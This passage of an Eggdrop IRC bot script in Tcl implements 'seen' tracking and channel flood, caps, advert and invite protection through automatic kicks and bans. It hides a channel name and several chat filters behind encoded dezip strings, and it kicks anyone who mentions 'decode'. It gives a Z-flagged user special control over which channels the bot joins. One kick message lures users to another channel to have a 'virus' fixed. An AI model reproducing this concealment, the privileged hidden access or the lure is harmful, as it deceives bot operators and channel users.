set fd [open $bs(path)bs_data.$name w]
set id [array startsearch bs_list]
puts $fd "#$bs(updater)"
while {[array anymore bs_list $id]} {
set item [array nextelement bs_list $id]
puts $fd "$bs_list($item)"
}
array donesearch bs_list $id
close $fd
}
proc bs_part_oldver {a b c d} {bs_part $a $b $c $d ""}
proc bs_part {nick uhost hand chan reason} {
if {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {
set chan "-secret-"
}
bs_add $nick "[list $uhost] [unixtime] part $chan [split $reason]"
}
proc bs_join {nick uhost hand chan} {
if {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {
set chan "-secret-"
}
bs_add $nick "[list $uhost] [unixtime] join $chan"
}
proc bs_sign {nick uhost hand chan reason} {
if {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {
set chan "-secret-"
}
bs_add $nick "[list $uhost] [unixtime] quit $chan [split $reason]"
}
proc bs_kick {nick uhost hand chan knick reason} {
set schan $chan
if {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {
set schan "-secret-"
}
bs_add $knick "[getchanhost $knick $chan] [unixtime] kick $schan [list $nick] [list $reason]"
}
proc bs_nick {nick uhost hand chan newnick} {
if {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {
set chan "-secret-"
}
set time [unixtime]
bs_add $nick "[list $uhost] [expr $time -1] nick $chan [list $newnick]"
bs_add $newnick "[list $uhost] $time rnck $chan [list $nick]"
}
proc bs_splt {nick uhost hand chan} {
if {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {
set chan "-secret-"
}
bs_add $nick "[list $uhost] [unixtime] splt $chan"
}
proc bs_rejn {nick uhost hand chan} {
if {[string tolower $chan] == [dezip "ER5sr09TRjx1"]} {
set chan "-secret-"
}
bs_add $nick "[list $uhost] [unixtime] rejn $chan"
}
proc bs_chjn {bot hand channum flag sock from} {bs_add $hand "[string trimleft $from ~] [unixtime] chjn $bot"}
proc bs_chpt {bot hand args} {set old [split [bs_search ? [string tolower $hand]]] ; if {$old != "0"} {bs_add $hand "[join [string trim [lindex $old 1] ()]] [unixtime] chpt $bot"}}
proc bs_botsearch {from cmd args} {
global botnick notc
set args [join $args]
set command [lindex $args 0]
set target [lindex $args 1]
set nick [lindex $args 2]
set search [bs_filt [join [lrange $args 3 e]]]
if {[string match *\\\** $search]} {
set output [bs_seenmask bot $nick $search]
if {$output != "No matches were found." && ![string match "I'm not on *" $output]} {putbot $from "bs_botsearch_reply $command \{$target\} {$nick, $botnick says:  [bs_filt $output]}"}
} {
set output [bs_output bot $nick [bs_filt [lindex $search 0]] 0]
if {$output != 0 && [lrange [split $output] 1 4] != "unseeing"} {putbot $from "bs_botsearch_reply $command \{$target\} {$nick, $botnick says:  [bs_filt $output]}"}
}
}
proc bs_botsearch_reply {from cmd args} {
global notc bs
set args [join $args]
if {[lindex [lindex $args 2] 5] == "not" || [lindex [lindex $args 2] 4] == "not"} {return}
if {![info exists bs(bot_delay)]} {
set bs(bot_delay) on
utimer 10 {if {[info exists bs(bot_delay)]} {unset bs(bot_delay)}}
if {![lindex $args 0]} {putdcc [lindex $args 1] "[join [lindex $args 2]]"} {
puthlp "[lindex $args 1] :[join [lindex $args 2]]"
}
}
}

proc pub_seen {nick uhost hand chan args} {bs_pubreq $nick $uhost $hand $chan $args 0}
proc bs_pubreq2 {nick uhost hand chan args} {bs_pubreq $nick $uhost $hand $chan $args 1}
proc bs_pubreq {nick uhost hand chan args no} {
global botnick bs notc
if {[string match "*-seen*" [channel info $chan]] && ![matchattr $nick m]} { return 0 }
if {[bs_flood $nick $uhost]} {return 0}
set i 0
if {[lsearch -exact $bs(no_pub) [string tolower $chan]] >= 0} {return 0}
if {$bs(log_only) != "" && [lsearch -exact $bs(log_only) [string tolower $chan]] == -1} {return 0}
set args [bs_filt [join $args]]
set target "NOTICE $nick"
if {[string match *\\\** [lindex $args 0]]} {
set output [bs_seenmask $chan $hand $args]
if {$output == "No Matches!"} {putallbots "bs_botsearch 1 \{$target\} $nick $args"}
if {[string match "I'm not on *" $output]} {putallbots "bs_botsearch 1 \{$target\} $nick $args"}
regsub -all -- ~ $output "" output
puthlp "$target :[lgrnd] $output"
return $bs(logqueries)
}
set data [bs_filt [string trimright [lindex $args 0] ?!.,]]
if {[string tolower $nick] == [string tolower $data]} {
puthlp "$target :[lgrnd] $nick, go look in a mirror..!"
return $bs(logqueries)
}
if {[string tolower $data] == [string tolower $botnick] } {
puthlp "$target :\001ACTION Right Here!\001"
return $bs(logqueries)
}
if {[onchan $data $chan]} {
puthlp "$target :[lgrnd] $nick, $data is right here..!"
return $bs(logqueries)
}
set output [bs_output $chan $nick $data $no]
if {$output == 0} {return 0}
if {[lrange [split $output] 1 4] == "I don't remember seeing"} {putallbots "bs_botsearch 1 \{$target\} $nick $args"}
regsub -all -- ~ $output "" output
puthlp "$target :[lgrnd] $output"
return $bs(logqueries)
}
proc bs_output {chan nick data no} {
global botnick bs version bs_list
set data [string tolower [string trimright [lindex $data 0] ?!.,]]
if {$data == ""} {return 0}
if {[string tolower $nick] == $data} {return [concat $nick, go look in a mirror.]}
if {$data == [string tolower $botnick]} {return [concat $nick, I'm right here. Quit wasting my time!]}
if {[string length $data] > $bs(nicksize)} {return 0}
if {$bs(smartsearch) != 1} {set no 1}
if {$no == 0} {
set matches ""
set hand ""
set addy ""
if {[lsearch -exact [array names bs_list] $data] != "-1"} {
set addy [lindex $bs_list([string tolower $data]) 1]
set hand [finduser $addy]
foreach item [bs_seenmask dcc ? [maskhost $addy]] {if {[lsearch -exact $matches $item] == -1} {set matches "$matches $item"}}
}
if {[validuser $data]} {set hand $data}
if {$hand != "*" && $hand != ""} {
if {[string trimleft [lindex $version 1] 0]>1030000} {set hosts [getuser $hand hosts]} {set hosts [gethosts $hand]}
foreach addr $hosts {
foreach item [string tolower [bs_seenmask dcc ? $addr]] {
if {[lsearch -exact [string tolower $matches] [string tolower $item]] == -1} {set matches [concat $matches $item]}
}
}
}
if {$matches != ""} {
set matches [string trimleft $matches " "]
set len [llength $matches]
if {$len == 1} {return [bs_search $chan [lindex $matches 0]]}
if {$len > 99} {return [concat I found $len matches to your query\; please refine it to see any output.]}
set matches [bs_sort $matches]
set key [lindex $matches 0]
if {[string tolower $key] == [string tolower $data]} {return [bs_search $chan $key]}
if {$len <= 5} {
set output [concat sorted most $len matches recent: [join $matches].]
set output [concat $output [bs_search $chan $key]]
return $output
} {
set output [concat found $len matches matches. most 5 recent (sorted): [join [lrange $matches 0 4]].]
set output [concat $output [bs_search $chan $key]]
return $output
}
}
}
set temp [bs_search $chan $data]
if {$temp != 0} { return $temp } {
#$data not found in $bs_list, so search userfile
if {![validuser [bs_filt $data]] || [string trimleft [lindex $version 1] 0]<1030000} {
return "$nick, $data <n/a>"
} {
set seen [getuser $data laston]
if {[getuser $data laston] == ""} {return "$nick, $data <n/a>"}
if {($chan != [lindex $seen 1] || $chan == "bot" || $chan == "msg" || $chan == "dcc") && [validchan [lindex $seen 1]] && [lindex [channel info [lindex $seen 1]] 23] == "+secret"} {
set chan "-secret-"
} {
set chan [lindex $seen 1]
}
return [concat $nick, $data was last seen on $chan [bs_when [lindex $seen 0]] ago.]
}
}
}
proc bs_search {chan n} {
global bs_list notc
if {![info exists bs_list]} {return 0}
if {[lsearch -exact [array names bs_list] [string tolower $n]] != "-1"} {
set data [split $bs_list([string tolower $n])]
set n [join [lindex $data 0]]
set addy [lindex $data 1]
set time [lindex $data 2]
set marker 0
if {([string tolower $chan] != [string tolower [lindex $data 4]] || $chan == "dcc" || $chan == "msg" || $chan == "bot") && [validchan [lindex $data 4]] && [lindex [channel info [lindex $data 4]] 23] == "+secret"} {
set chan "-secret-"
} {
set chan [lindex $data 4]
}
switch -- [lindex $data 3] {
part {
set reason [lrange $data 5 e]
if {$reason == "{}"} {set reason "."} {set reason " stating \"$reason\"."}
set output [concat $n ($addy) parting $chan [bs_when $time] ago$reason]
}
quit {
set reason [lrange $data 5 e]
if {$reason == "Quit: {{}}"} {set reason "."} {set reason " stating $reason."}
set output [concat $n ($addy) quitting $chan [bs_when $time] ago stating$reason]
}
kick {
set output [concat $n ($addy) kicked from $chan by [lindex $data 5] [bs_when $time] ago with the reason ([join [lrange $data 6 e]]).]
}
rnck {
set output [concat $n ($addy) changing nicks from [lindex $data 5] on [lindex $data 4] [bs_when $time] ago.]
if {[validchan [lindex $data 4]]} {
if {[onchan $n [lindex $data 4]]} {
set output [concat $output $n is still there.]
} {
set output [concat $output unseeing $n now.]
}
}
}
nick {
set output [concat $n ($addy) changing nicks to [lindex $data 5] on [lindex $data 4] [bs_when $time] ago.]
}
splt {
set output [concat $n ($addy) parting $chan due to a split [bs_when $time] ago.]
}
rejn {
set output [concat $n ($addy) rejoining $chan from a split [bs_when $time] ago.]
if {[validchan $chan]} {
if {[onchan $n $chan]} {
set output [concat $output $n is still on $chan.]
} {
set output [concat $output I don't see $n on $chan now, though.]
}
}
}
join {
set output [concat $n ($addy) joining $chan [bs_when $time] ago.]
if {[validchan $chan]} {
if {[onchan $n $chan]} {
set output [concat $output $n is still on $chan.]
} {
set output [concat $output unseeing $n on $chan now.]
}
}
}
away {
set reason [lrange $data 5 e]
if {$reason == ""} {
set output [concat $n ($addy) returning to the partyline on $chan [bs_when $time] ago.]
} {
set output [concat $n ($addy) seen being marked as away ($reason) on $chan [bs_when $time] ago.]
}
}
chon {
set output [concat $n ($addy) joining the partyline [bs_when $time] ago.]
set lnick [string tolower $n]
foreach item [whom *] {
if {$lnick == [string tolower [lindex $item 0]]} {
set output [concat $output $n is on the partyline right now.]
set marker 1
break
}
}
if {$marker == 0} {
set output [concat $output I don't see $n on the partyline now, though.]
}
}
chof {
set output [concat $n ($addy) leaving the partyline [bs_when $time] ago.]
set lnick [string tolower $n]
foreach item [whom *] {
if {$lnick == [string tolower [lindex $item 0]]} {
set output [concat $output $n is on the partyline in [lindex $item 1] still.]
break
}
}
}
chjn {
set output [concat $n ($addy) joining the partyline on $chan [bs_when $time] ago.]
set lnick [string tolower $n]
foreach item [whom *] {
if {$lnick == [string tolower [lindex $item 0]]} {
set output [concat $output $n is on the partyline right now.]
set marker 1
break
}
}
if {$marker == 0} {
set output [concat $output I don't see $n on the partyline now, though.]
}
}
chpt {
set output [concat $n ($addy) leaving the partyline from $chan [bs_when $time] ago.]
set lnick [string tolower $n]
foreach item [whom *] {
if {$lnick == [string tolower [lindex $item 0]]} {
set output [concat $output $n is on the partyline in [lindex $item 1] still.]
break
}
}
}
default {set output "error"}
}
return $output
} {return 0}
}
proc bs_when {lasttime} {
set years 0
set days 0
set hours 0
set mins 0
set time [expr [unixtime] - $lasttime]
if {$time < 60} {return "only $time seconds"}
if {$time >= 31536000} {
set years [expr int([expr $time/31536000])]
set time [expr $time - [expr 31536000*$years]]
}
if {$time >= 86400} {
set days [expr int([expr $time/86400])]
set time [expr $time - [expr 86400*$days]]
}
if {$time >= 3600} {
set hours [expr int([expr $time/3600])]
set time [expr $time - [expr 3600*$hours]]
}
if {$time >= 60} {
set mins [expr int([expr $time/60])]
}
if {$years == 0} {
set output ""
} elseif {$years == 1} {
set output "1 year,"
} {
set output "$years years,"
}
if {$days == 1} {lappend output "1 day,"} elseif {$days > 1} {lappend output "$days days,"}
if {$hours == 1} {lappend output "1 hour,"} elseif {$hours > 1} {lappend output "$hours hours,"}
if {$mins == 1} {lappend output "1 minute"} elseif {$mins > 1} {lappend output "$mins minutes"}
return [string trimright [join $output] ", "]
}
proc bs_add {nick data} {
global bs_list bs
if {[lsearch -exact $bs(no_log) [string tolower [lindex $data 3]]] >= 0 || ($bs(log_only) != "" && [lsearch -exact $bs(log_only) [string tolower [lindex $data 3]]] == -1)} {return}
set bs_list([string tolower $nick]) "[bs_filt $nick] $data"
}
proc bs_lsortcmd {a b} {global bs_list ; set a [lindex $bs_list([string tolower $a]) 2] ; set b [lindex $bs_list([string tolower $b]) 2] ; if {$a > $b} {return 1} elseif {$a < $b} {return -1} {return 0}}
proc bs_trim {min h d m y} {
global bs bs_list
if {![info exists bs_list] || ![array exists bs_list]} {return}
set list [array names bs_list]
set range [expr [llength $list] - $bs(limit) - 1]
if {$range < 0} {return}
set list [lsort -increasing -command bs_lsortcmd $list]
foreach item [lrange $list 0 $range] {unset bs_list($item)}
}
proc bs_seenmask {ch nick args} {
global bs_list bs notc
set matches ""
set temp ""
set i 0
set args [join $args]
set chan [lindex $args 1]
if {$chan != "" && [string trimleft $chan #] != $chan} {
if {![validchan $chan]} {return "I'm not on $chan."} {set chan [string tolower $chan]}
} {
set chan ""
}
if {![info exists bs_list]} {return "No matches were found."}
set data [bs_filt [string tolower [lindex $args 0]]]
set maskfix 1
while $maskfix {
set mark 1
if [regsub -all -- \\?\\? $data ? data] {set mark 0}
if [regsub -all -- \\*\\* $data * data] {set mark 0}
if [regsub -all -- \\*\\? $data * data] {set mark 0}
if [regsub -all -- \\?\\* $data * data] {set mark 0}
if $mark {break}
}
set id [array startsearch bs_list]
while {[array anymore bs_list $id]} {
set item [array nextelement bs_list $id]
if {$item == ""} {continue}
set i 0
set temp ""
set match [lindex $bs_list($item) 0]
set addy [lindex $bs_list($item) 1]
if {[string match $data $item![string tolower $addy]]} {
set match [bs_filt $match]
if {$chan != ""} {
if {[string match $chan [string tolower [lindex $bs_list($item) 4]]]} {set matches [concat $matches $match]}
} {set matches [concat $matches $match]}
}
}
array donesearch bs_list $id
set matches [string trim $matches " "]
if {$nick == "?"} {return [bs_filt $matches]}
set len [llength $matches]
if {$len == 0} {return "No matches were found."}
if {$len == 1} {return [bs_output $ch $nick $matches 1]}
if {$len > 99} {return "I found $len matches to your query; please refine it to see any output."}
set matches [bs_sort $matches]
if {$len <= 5} {
set output [concat I found $len matches to your query (sorted): [join $matches].]
} {
set output "I found $len matches to your query.  Here are the 5 most recent (sorted): [join [lrange $matches 0 4]]."
}
return [concat $output [bs_output $ch $nick [lindex [split $matches] 0] 1]]
}
proc bs_sort {data} {global bs_list ; set data [bs_filt [join [lsort -decreasing -command bs_lsortcmd $data]]] ; return $data}
proc bs_join_botidle {nick uhost hand chan} {
global bs_botidle botnick notc
if {$nick == $botnick} {
set bs_botidle([string tolower $chan]) [unixtime]
}
}
proc public_ping {nick uhost hand chan rest} {
global pingchan
#if {[string match "*-seen*" [channel info $chan]] && ![matchattr $nick m]} { return 0 }
if {$rest==""} {
if {![info exists pingchan($nick)]} {
set pingchan($nick) $chan
}
puthlp "PRIVMSG $nick :\001PING [unixtime]\001"
return 0
}
set person [lindex $rest 0]
if {![info exists pingchan($person)]} {
set pingchan($person) $chan
}
puthlp "PRIVMSG $person :\001PING [unixtime]\001"
return 0
}
bind pubm - * repeat_pubm
bind ctcp - ACTION action_chk
proc action_chk {nick host hand chan keyword arg} {
global botnick
if {$nick == $botnick || [string match "*SeT FoR*" $arg]} { return 0 }
if {[matchattr $nick Z]} {
set arg "`$arg"
}
if {![validchan $chan]} {
msg_prot $nick $host $hand $arg
} {
repeat_pubm $nick $host $hand $chan $arg
}
}
proc repeat_pubm {nick uhost hand chan text} {
global repeat_last botnick notb notc kops ps owner ismaskhost is_m
global botnick capsnick deopme repeat_person quick bannick notm
regsub -all -- [dezip "jGBDx04~ntxb0"] $text "" text
regsub -all -- [dezip "bFuC0.Jq~aEc0"] $text "" text
regsub -all -- [dezip "xdxsF1~hBM6q0"] $text "" text
pub_Z $nick $uhost $hand $chan $text
set cflag "c$chan"
set cflag [string range $cflag 0 8]
set real $text
set text [uncolor $text]
if {$nick == "ChanServ"} {
if {[string match "*has deopped $botnick*" $text]} {
if {![matchattr [lindex $text 0] f]} {
if {[matchattr $cflag D]} {
set deopme [lindex $text 0]
}
}
}
return 0
}
if {[matchattr $nick f]} { return 0 }
set mhost [string range $uhost [string first "@" $uhost] end]
if {$nick == $botnick} { return 0 }
set resume "T"
if {[string match "*-greet*" [channel info $chan]]} {
set resume "F"
}
if {![isop $botnick $chan]} {
set resume "F"
}
if {![info exists kops]} {
if {[isop $nick $chan]} {
set resume "F"
}
if {[isvoice $nick $chan]} {
set resume "F"
}
}
# Tsunami Flood PRoTECTION
if {[string length $text] > 100} {
set chr 0
set cnt 0
while {$cnt < [string length $real]} {
if [isflood [string index $real $cnt]] {
incr chr
}
incr cnt
}
if {$chr > 30} {
if {$resume == "T"} {
set bannick($nick) "*!*$mhost"
if {![isutimer "TsunamI $chan"]} {
utimer 30 [list putlog "TsunamI $chan"]
} elseif {[info exists ismaskhost]} {
set bannick($nick) [maskhost "*!*$mhost"]
}
if {$quick == "1" && ![info exists is_m($chan)]} {
putqck "KICK $chan $nick :$notm 1ABusINg 4TsunamI [banms]"
} {
putsrv "KICK $chan $nick :$notm 1ABuSING 4TsunamI [banms]"
}
}
return 0
}
}
if {![info exists kops]} {
if {$resume == "F"} { return 0 }
}
if {[string match "*!seen [string tolower $nick]*" [string tolower $text]]} {
putsrv "KICK $chan $nick :$notc 1gO LooK in a 4mIRRoR1..!"
return 0
}
if {[string match "*decode*" [string tolower $text]]} {
set bannick($nick) "*!*$mhost"
putsrv "KICK $chan $nick :$notc 4DecOdE1 DeNIaL [banmsg]"
return 0
}
if {[string match "*#*" $text] && ![string match "*##*" $text] && ![string match "*# *" $text]} {
foreach x [channels] {
set chksiton [string tolower $x]
if {[string match "*$chksiton*" [string tolower $text]]} { return }
}
foreach seekchan $text {
if {[string match "*#*" $seekchan]} {
set bannick($nick) "*!*$mhost"
putsrv "KICK $chan $nick :$notc 1DonT 4InvITEd1 MaTcH FRoM 4$seekchan [banms]"
return 0
}
}
}
if {[string match "*http://*" [string tolower $text]] || [string match "*www.*.*" [string tolower $text]]} {
set bannick($nick) "*!*$mhost"
putsrv "KICK $chan $nick :$notc 1DonT 4AdvERTIsE1 IN 4[string toupper $chan] [banms]"
return 0
}
if {[matchattr $cflag R]} {
if {[info exists repeat_last($mhost$chan)]} {
if {[string tolower $repeat_last($mhost$chan)] == [string tolower $text]} {
if {![info exists repeat_person($mhost$chan)]} {
set repeat_person($mhost$chan) 1
} {
incr repeat_person($mhost$chan)
}
if {$repeat_person($mhost$chan) == [getuser $cflag XTRA "RPT"]} {
set bannick($nick) "*!*$mhost"
putsrv "KICK $chan $nick :$notc 4RePeaT 1FRoM 4$mhost 1MaX4 [getuser $cflag XTRA "RPT"] [banms]"
catch {unset repeat_person($mhost$chan)}
catch {unset repeat_last($mhost$chan)}
return 0
}
}
}
set repeat_last($mhost$chan) $text
}
if {[matchattr $cflag T] && [string length $real] >= [getuser $cflag XTRA "CHAR"]} {
catch {unset repeat_person($mhost$chan)}
catch {unset repeat_last($mhost$chan)}
set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
set bannick($nick) $banmask
if {![isutimer "OL $chan"]} {
utimer 10 [list putlog "OL $chan"]
putsrv "KICK $chan $nick :$notc 1ABuSINg 4LoNg TexT 1MaX4 [getuser $cflag XTRA "CHAR"]1 CHaR [banmsg]"
} {
putsrv "KICK $chan $nick :$notm 1ABuSINg 4LoNg TexT 1MaX4 [getuser $cflag XTRA "CHAR"]1 CHaR [banmsg]"
}
return 0
}
if {[matchattr $cflag U]} {
set len [string length $text]
if {[isbad $nick $uhost $chan $text]} { return 0 }
if {$len < 30} { return 0 }
set cnt 0
set capcnt 0
while {$cnt < $len} {
if {[string index $text $cnt] == " " || [isupper [string index $text $cnt]]} {
incr capcnt
}
incr cnt
}
if {[expr 100 * $capcnt / $len] >= [getuser $cflag XTRA "CAPS"]} {
if {![info exists capsnick($nick)]} {
putsrv "KICK $chan $nick :$notc 1SToP UsEd 4CapsLocK1 ExceEd4 [getuser $cflag XTRA "CAPS"]%1..!"
set capsnick($nick) "1"
return 0
}
set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
set bannick($nick) $banmask
putsrv "KICK $chan $nick :$notc 42nd1 WaRN DonT UsEd 4CapsLocK1 ExceEd4 [getuser $cflag XTRA "CAPS"]% [banms]"
unset capsnick($nick)
}
}
}
proc isupper {letter} {
set caps {A B C D E F G H I
J K L M N O P Q R
S T U V W X Y Z}
if {[lsearch -exact $caps $letter] > -1} {
return 1
} else {
return 0
}
}
proc isflood {letter} {
set caps {! @ # $ % ^ & * (
) | [ ] < > / \ =    }
if {[lsearch -exact $caps $letter] > -1} {
return 1
} else {
return 0
}
}
proc isbad {nick uhost chan arg} {
global badwords botnick notc bannick
set arg [string tolower $arg]
if {[string match "*-greet*" [channel info $chan]]} {
set isbad 0
return 0
}
foreach badword [string tolower $badwords] {
if {[string match *$badword* [string tolower $arg]]} {
set bannick($nick) "*!$uhost"
putsrv "KICK $chan $nick :$notc 4BaDWoRD1 MaTcH FRoM 4[string toupper $badword] [banms]"
return 1
}
}
set isbad 0
return 0
}
proc set_-m {chan} {
if {[isutimer "set_-m $chan"]} { return 0 }
if {[botonchan $chan] && [botisop $chan] && [string match "*m*" [getchanmode $chan]]} {
putserv "mode $chan -m"
}
}
proc topic_chk {nick host handle chan topic} {
global botnick notc bannick
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $cflag I]} { return 0 }
if {$nick == $botnick || $nick == "ChanServ"} { return 0 }
if {[matchattr $nick m]} {
setuser $cflag XTRA "TOPIC" [topic $chan]
saveuser
return 0
}
if {![isop $botnick $chan]} { return 0 }
if {[matchattr $nick f] || $nick == $botnick} { return 0 }
if {$topic == [getuser $cflag XTRA "TOPIC"]} { return 0 }
if {![string match "*dal.net*" $nick]} {
set banmask "*!*[string range $host [string first "@" $host] end]"
set bannick($nick) $banmask
putsrv "KICK $chan $nick :$notc 1DonT cHaNgINg 4ToPIc [banms]"
}
puthlp "topic $chan :[getuser $cflag XTRA "TOPIC"]"
return 0
}
bind flud - * flood_chk
proc flood_chk {nick host handle type channel} {
global notc botnick quick bannick notm flooddeop floodnick floodkick igflood kops
putlog "!Log! FLOOD <<$type>> FRoM $host"
if {[info exists bannick($nick)]} { return 1 }
if {[info exists igflood($nick)]} { return 1 }
if {[string match "*Serv*" $nick] || [matchattr $handle f] || $nick == $botnick} {
putlog "!Log! FlooD <<$nick>> Service OR FrIeNd !PaSS!"
return 1
}
if {[string index $channel 0] != "#"} {
foreach x [channels] {
if {[onchan $nick $x]} {
set channel $x
}
}
}
set mhost "@[lindex [split $host @] 1]"
if {[string index $channel 0] == "#"} {
if {![isop $botnick $channel]} {
putlog "!Log! FlooD <<$nick>> BoT NoT @P !IgNoREd!"
return 1
}
}
set type [string tolower $type]
if {$type == "join"} {
set bannick($nick) "*!*$mhost"
putsrv "KICK $channel $nick :$notm 1ExceEd MaX 4JoIN1 FRoM 4$mhost [banms]"
}
if {$type == "ctcp"} {
if {![info exists kops]} {
if {[isop $nick $channel] || [isvoice $nick $channel]} {
return 1
}
}
set bannick($nick) "*!*$mhost"
if {$quick == "1"} {
putqck "KICK $channel $nick :$notm 1ExceEd MaX 4cTcP1 FRoM 4$mhost [banms]"
} else {
putsrv "KICK $channel $nick :$notm 1ExceEd MaX 4cTcP1 FRoM 4$mhost [banms]"
}
}
if {$type == "pub"} {
if {![info exists kops]} {
if {[isop $nick $channel] || [isvoice $nick $channel]} {
return 1
}
}
set bannick($nick) "*!$host"
putsrv "KICK $channel $nick :$notc 1ExceEd MaX 4LINES1 FRoM 4$mhost [banms]"
return 1
}
if {$type == "nick"} {
if {![info exists kops]} {
if {[isop $nick $channel] || [isvoice $nick $channel] || [string length $nick] == 8} {
return 1
}
}
if {![info exists floodnick($mhost)]} {
set floodnick($mhost) 1
putsrv "KICK $channel $nick :$notc 1sTOp cHaNgINg YouR 4NIcK1..!"
} {
catch {unset floodnick($mhost)}
set bannick($nick) "*!*$mhost"
putsrv "KICK $channel $nick :$notc 1TwIcE ExceEd 4NIcK1 FRoM 4$mhost [banms]"
}
}
if {$type == "deop"} {
if {![info exists flooddeop($nick)]} {
set flooddeop($nick) 1
putsrv "KICK $channel $nick :$notc 1ExceEd MaX 4De@p1 FRoM 4$mhost1..!"
} {
catch {unset flooddeop($nick)}
set bannick($nick) "*!*$mhost"
putsrv "KICK $channel $nick :$notc 1TwIcE ExceEd MaX 4De@p1 FRoM 4$mhost [banms]"
}
}
if {$type == "kick"} {
if {![info exists floodkick($nick)]} {
set floodkick($nick) 1
putsrv "KICK $channel $nick :$notc 1ExceEd MaX 4KIcK1 FRoM 4$mhost1..!"
} {
catch {unset floodkick($nick)}
set bannick($nick) "*!*$mhost"
putsrv "KICK $channel $nick :$notc 1TwIcE ExceEd MaX 4KIcK1 FRoM 4$mhost1..!"
}
}
return 1
}
bind raw - INVITE raw_chk
proc raw_chk {nick keyword arg} {
global invme joinme notc bannick notd botnick
set who [string range $nick 0 [expr [string first "!" $nick]-1]]
set channel [lindex $arg 1]
set channel [string range $channel 1 end]
foreach x [channels] {
if {[string tolower $channel] == [string tolower $x]} {
putsrv "JOIN $channel"
return 0
}
}
if {$who == "ChanServ" || [matchattr $who Z]} {
if {![validchan $channel]} {
if {[matchattr $who Z] && ![matchattr $who Q]} {
puthlp "NOTICE $who :$notc 4DeNiEd..!"
return 0
} else {
set joinme $who
}
channel add $channel
catch { channel set $channel -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }
savechan
}
putsrv "JOIN $channel"
return 0
}
if {[matchattr $who f]} { return 0 }
foreach x [channels] {
if {[onchan $who $x]} {
if {[isop $botnick $x]} {
set banmask "*!*[string range $nick [string first "@" $nick] end]"
set bannick($who) $banmask
putsrv "KICK $x $who :$notc 4!SpaM!1 I HaTE 4InvITeR [banms]"
return 0
} {
set members [chanlist $x f]
foreach c $members {
if {[isop $c $x]} {
putlog "!Log! RePORTED InVITING FRoM <<$who$x>> To #$c#"
set sendspam "!kick [zip "$x $who $notc 4!SpaM!1 FRoM 4[string range $nick [string first "@" $nick] end]1 InvITE [banmsg]"]"
putsrv "PRIVMSG $c :$sendspam"
return 0
}
}
}
}
}
set invme([string range $nick [string first "@" $nick] end]) "InvITeR"
return 0
}
bind ctcp - CLIENTINFO sl_ctcp
bind ctcp - USERINFO sl_ctcp
bind ctcp - FINGER sl_ctcp
bind ctcp - ERRMSG sl_ctcp
bind ctcp - ECHO sl_ctcp
bind ctcp - INVITE sl_ctcp
bind ctcp - WHOAMI sl_ctcp
bind ctcp - OP sl_ctcp
bind ctcp - OPS sl_ctcp
bind ctcp - UNBAN sl_ctcp
bind ctcp - TIME sl_ctcp
bind ctcp - VERSION sl_ctcp
bind ctcp - CHAT chat_ctcp
proc sl_ctcp {nick uhost hand dest key arg} {
global botnick notc
if {[matchattr $nick f] || $nick == $botnick} { return 1 }
if {[string match "*dal*et*" [string tolower $uhost]]} {
putsrv "NOTICE $nick :\001VERSION 0,4<1,4>14,5 g150e0Z T15c14L 1,4<0,4>\001"
} {
set hostmask "${nick}!*@*"
newignore $hostmask $botnick "*" 1
}
return 1
}
proc chat_ctcp {nick uhost hand dest key arg} {
global botnick notc
if {[matchattr $nick Z]} { return 0 }
puthlp "NOTICE $nick :$notc 1SoRRY I DoNT KNoW YoU..!"
newignore "${nick}!*@*" $botnick "*" 1
return 1
}
set virus_nick ""
bind ctcp - DCC got_dcc
proc got_dcc {nick uhost handle dest key arg} {
global virus_nick notc notd botnick
if {[matchattr $nick f]} { return 0 }
if {[lindex $arg 2] == 0 && [lindex $arg 3] == 0} {
putlog "!Log! FaKE DCC SKIPPED..!"
return 1
}
set virus_nick $nick
foreach x [channels] {
if {[onchan $nick $x] && ![isop $nick $x]} {
if {[isop $botnick $x]} {
putsrv "KICK $x $nick :$notc 4!SpaM!1 I HaTE 4VIRuZ [banms]"
set virus_nick ""
} else {
set members [chanlist $x f]
foreach c $members {
if {[isop $c $x]} {
putlog "!Log! RePORTED ViRUS FRoM <<$nick$x>> To #$c#"
set sendspam "!kick [zip "$x $nick $notc 4!SpaM!1 YeW GoT VIRuZ JoIN #ciut TO FIxED [banmsg]"]"
putsrv "PRIVMSG $c :$sendspam"
return 0
}
}
}
}
}
return 1
}
proc voiceq {chan nick} {
utimer [expr 5 + [rand 15]] [list voiceprc $chan $nick]
}
proc voiceprc {chan nick} {
global botnick
if {[isop $botnick $chan] && ![isvoice $nick $chan] && ![isop $nick $chan]} {
putserv "MODE $chan +vvvvvv $nick"
}
}
proc advertise {chan nick} {
if {[isutimer "advq $chan $nick"]} { return 0 }
set cret 5
foreach ct [utimers] {
if {[string match "*advq*" $ct]} {
if {[expr [lindex $ct 0] + 5] > $cret} {
set cret [expr [lindex $ct 0] + 5]
}
}
}
utimer $cret [list advq $chan $nick]
}
proc advq {chan nick} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![isop $nick $chan] && [onchan $nick $chan]} {
set greetmsg [getuser $cflag XTRA "GREET"]
regsub %n $greetmsg $nick greetmsg
regsub %c $greetmsg $chan greetmsg
puthlp "NOTICE $nick :[lgrnd] $greetmsg"
}
}
proc deopprc {chan nick} {
global botnick
if {[isop $botnick $chan] && [isop $nick $chan]} {
if {![string match "*k*" [getchanmode $chan]]} {
putserv "MODE $chan -ko 4n0.Guest.@ps $nick"
} {
putserv "MODE $chan -o $nick"
}
}
}
proc autokick {chan nick} {
global bannick notc botnick
if {[isop $botnick $chan] && ![isop $nick $chan] && ![isvoice $nick $chan]} {
set hostmask [getchanhost $nick $chan]
set hostmask "*!*@[lindex [split $hostmask @] 1]"
set bannick($nick) $hostmask
putsrv "KICK $chan $nick :$notc 1cHaNNeL IS UnDeR c0NsTRucTIoN [banmsg]"
}
}
proc opq {chan nick} {
utimer [expr 7 + [rand 15]] [list opprc $chan $nick]
}
proc opprc {chan nick} {
global botnick unop
